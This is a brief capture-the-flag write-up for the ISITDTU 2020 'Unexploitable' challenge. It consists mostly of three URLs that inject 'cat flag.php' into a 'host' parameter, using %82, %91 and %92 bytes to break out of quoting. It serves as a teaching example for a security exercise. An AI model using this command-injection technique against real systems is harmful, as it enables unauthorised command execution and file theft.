# Solution for Unexploitable (ISITDTU 2020)


Just use special character to escapse quote
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Break Permitted Here
http://13.68.153.110/unexploitable/?host=8.8.8.8%82;%20cat%20flag.php;%20%82
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Private Use One
http://13.68.153.110/unexploitable/?host=8.8.8.8%91;%20cat%20flag.php;%20%91
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Private Use Two
http://13.68.153.110/unexploitable/?host=8.8.8.8%92;%20cat%20flag.php;%20%92
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Original writeup (https://github.com/dinhbaouit/My-CTF-Challenge/blob/master/2020/ISITDTU-CTF-Quals/Unexploitable/readme.md).